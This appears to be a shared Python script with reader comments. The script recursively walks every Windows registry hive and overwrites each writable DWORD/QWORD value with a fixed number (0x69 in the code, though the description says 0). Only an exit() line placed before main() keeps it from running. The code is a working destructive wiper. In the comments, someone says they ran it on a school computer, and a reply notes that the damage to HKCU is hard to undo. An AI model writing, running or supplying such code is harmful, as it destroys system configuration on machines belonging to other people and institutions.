Sets all DWORD/QWORD registry values for which the user has permission to edit to 0.

claimer.py

import winreg

VALUE_TO_WRITE = 0x69


root_dict = {
    'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
    'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
    'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
    'HKEY_USERS': winreg.HKEY_USERS,
    'HKEY_CURRENT_CONFIG': winreg.HKEY_CURRENT_CONFIG
}


types_to_overwrite = [
    winreg.REG_DWORD,
    winreg.REG_QWORD
]


def check_values(root, key, opened_key):
    values_to_overwrite = []
    try:
        i = 0
        while True:
            value = winreg.EnumValue(opened_key, i)
            if value[2] in types_to_overwrite:
                values_to_overwrite.append((value[0], value[2]))
            i += 1
    except:
        pass
    
    if len(values_to_overwrite) > 0:
        try:
            opened_write_key = winreg.OpenKey(root_dict[root], key, access=winreg.KEY_SET_VALUE)
            for value_pair in values_to_overwrite:
                winreg.SetValueEx(opened_write_key, value_pair[0], 0, int(value_pair[1]), VALUE_TO_WRITE)
        except Exception as e:
            print(f'PERMISSION DENIED: {e}')
            pass


def traverse(root, key):
    should_check_values = True
    try:
        opened_key = winreg.OpenKey(root_dict[root], key)
        check_values(root, key, opened_key)
    except Exception as e:
        if 'WinError 5' in str(e):
            print(f'{e}: Error 5 [no read permission]')
            should_check_values = False # no need if i can't read them anyway
    
    if should_check_values:
        check_values(root, key, opened_key)

    if key != '':
        key += '\\'
    try:
        i = 0
        while True:
            traverse(root, key + winreg.EnumKey(opened_key, i))
            i += 1
    except:
        pass


def main():
    for root in root_dict.keys():
        traverse(root, "")


if __name__ == '__main__':
    print('Safeguard against accidental execution. DO NOT EXECUTE THIS ON YOUR MAIN SYSTEM!')
    exit(0)
    main()

I ran this script on a school computer

No...... you can't restore it easily because it affected the HKCU, but HKLM is easy... But you can ensure it's OK if the script do not show any consoles yet (IDLE is counted as a console window, but more formatting). FlyTech have a video that delete all root key once.